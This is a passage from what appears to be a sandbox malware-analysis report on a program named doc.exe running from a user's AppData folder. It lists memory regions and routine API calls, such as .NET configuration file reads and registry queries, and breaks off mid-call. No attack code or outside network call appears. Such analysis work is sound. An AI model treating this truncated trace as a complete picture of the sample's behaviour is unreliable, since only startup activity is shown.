= 0x63bc0000 end_va = 0x63c43fff monitored = 0 entry_point = 0x63bc19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3041 start_va = 0x9f0000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 3049 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 3052 start_va = 0x639d0000 end_va = 0x63bb1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\a891970b44db9e340c3ef3efa95b793c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\a891970b44db9e340c3ef3efa95b793c\\microsoft.visualbasic.ni.dll") Region: id = 3164 start_va = 0x9f0000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 3165 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 3166 start_va = 0x1090000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 3167 start_va = 0x1130000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 3168 start_va = 0x4f30000 end_va = 0x502ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 3169 start_va = 0x50a0000 end_va = 0x519ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 3170 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3171 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3186 start_va = 0x5c0000 end_va = 0x5cdfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 3294 start_va = 0xdf0000 end_va = 0xe51fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 3295 start_va = 0x72850000 end_va = 0x729dffff monitored = 0 entry_point = 0x728ed026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 3296 start_va = 0x4dc0000 end_va = 0x4ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 3297 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 3298 start_va = 0xec0000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 3299 start_va = 0x5380000 end_va = 0x547ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005380000" filename = "" Region: id = 3300 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3301 start_va = 0x1000000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 3302 start_va = 0x72750000 end_va = 0x7284afff monitored = 0 entry_point = 0x727617e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 3303 start_va = 0x960000 end_va = 0x9aafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 3304 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3306 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3307 start_va = 0xab0000 end_va = 0xafafff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3308 start_va = 0xb00000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 3309 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3310 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3311 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 3316 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3317 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 3318 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 3319 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3320 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 3321 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 3322 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 3323 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 3324 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 3325 start_va = 0xb90000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 3326 start_va = 0xcc0000 end_va = 0xccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 3327 start_va = 0xcd0000 end_va = 0xcdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 3328 start_va = 0xce0000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 3329 start_va = 0xe60000 end_va = 0xe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 3330 start_va = 0xe70000 end_va = 0xe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 3331 start_va = 0xe80000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 3332 start_va = 0xe90000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 3333 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3334 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 3335 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 3336 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3337 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 3338 start_va = 0xb50000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 3339 start_va = 0xb60000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 3340 start_va = 0xb70000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 3341 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 3342 start_va = 0xe60000 end_va = 0xe6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 3343 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3345 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 3357 start_va = 0xa30000 end_va = 0xa4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a30000" filename = "" Region: id = 3366 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3399 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3400 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3436 start_va = 0x739d0000 end_va = 0x73ac4fff monitored = 0 entry_point = 0x739e0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 3453 start_va = 0xa50000 end_va = 0xa51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 3454 start_va = 0x73ee0000 end_va = 0x7407dfff monitored = 0 entry_point = 0x73f0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 3455 start_va = 0xb40000 end_va = 0xb40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3456 start_va = 0xb50000 end_va = 0xb51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 3457 start_va = 0x73b00000 end_va = 0x73b4bfff monitored = 0 entry_point = 0x73b02c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3458 start_va = 0xb40000 end_va = 0xb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 3459 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3460 start_va = 0xb60000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 3461 start_va = 0x740f0000 end_va = 0x74b6ffff monitored = 0 entry_point = 0x740f6b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 3471 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 3472 start_va = 0x740b0000 end_va = 0x740ebfff monitored = 0 entry_point = 0x740b3089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 3473 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 3474 start_va = 0xb70000 end_va = 0xb70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 3475 start_va = 0x4dc0000 end_va = 0x4ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 3476 start_va = 0x4ec0000 end_va = 0x4ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 3477 start_va = 0xb80000 end_va = 0xb81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 3478 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 3479 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 3480 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3481 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3482 start_va = 0x51a0000 end_va = 0x529ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000051a0000" filename = "" Region: id = 3528 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 3529 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 3535 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 3536 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 3537 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 3538 start_va = 0xb90000 end_va = 0xb9cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 3539 start_va = 0xcc0000 end_va = 0xcc3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 3540 start_va = 0xcd0000 end_va = 0xce6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 3541 start_va = 0xe70000 end_va = 0xe70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e70000" filename = "" Region: id = 3542 start_va = 0xcc0000 end_va = 0xcc3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3543 start_va = 0xe80000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 3544 start_va = 0xeb0000 end_va = 0xeb3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3545 start_va = 0x12b0000 end_va = 0x1315fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 3546 start_va = 0x1080000 end_va = 0x108dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 3551 start_va = 0x10d0000 end_va = 0x10d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010d0000" filename = "" Region: id = 3582 start_va = 0x10e0000 end_va = 0x10effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 3583 start_va = 0x10f0000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 3584 start_va = 0x1100000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 3675 start_va = 0x52e0000 end_va = 0x531ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000052e0000" filename = "" Region: id = 3676 start_va = 0x54f0000 end_va = 0x55effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054f0000" filename = "" Region: id = 3677 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3717 start_va = 0x73cf0000 end_va = 0x73cfdfff monitored = 0 entry_point = 0x73cf1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3730 start_va = 0x1320000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 3731 start_va = 0x5780000 end_va = 0x587ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005780000" filename = "" Region: id = 3732 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Thread: id = 227 os_tid = 0xd18 [0212.828] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0214.658] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x23e550 | out: phkResult=0x23e550*=0x0) returned 0x2 [0214.658] RegCloseKey (hKey=0x80000002) returned 0x0 [0214.666] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x23e7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0215.093] IsAppThemed () returned 0x1 [0215.101] CoTaskMemAlloc (cb=0xf0) returned 0x32aa60 [0215.101] CreateActCtxA (pActCtx=0x23ecf8) returned 0x329684 [0215.233] CoTaskMemFree (pv=0x32aa60) [0215.262] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc20f [0215.263] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc21c [0217.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x23e66c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0217.457] GetCurrentProcess () returned 0xffffffff [0217.457] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23e9a4 | out: TokenHandle=0x23e9a4*=0x1f0) returned 1 [0217.465] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x23e45c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0217.481] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x23e99c | out: lpFileInformation=0x23e99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x23e428, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.483] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x23e9a4 | out: lpFileInformation=0x23e9a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x23e3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x23e8dc) returned 1 [0217.487] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x40 [0217.487] GetFileType (hFile=0x40) returned 0x1 [0217.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x23e8d8) returned 1 [0217.487] GetFileType (hFile=0x40) returned 0x1 [0217.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x23dc18, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x23dc7c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0217.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x23debc) returned 1 [0217.607] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x23e180 | out: lpFileInformation=0x23e180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0217.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x23deb8) returned 1 [0218.221] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x23e04c | out: pfEnabled=0x23e04c) returned 0x0 [0218.495] GetFileSize (in: hFile=0x40, lpFileSizeHigh=0x23e998 | out: lpFileSizeHigh=0x23e998*=0x0) returned 0x8c8e [0218.497] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e954, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e954*=0x1000, lpOverlapped=0x0) returned 1 [0218.521] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e804, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e804*=0x1000, lpOverlapped=0x0) returned 1 [0218.523] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e6b8, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0218.524] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, 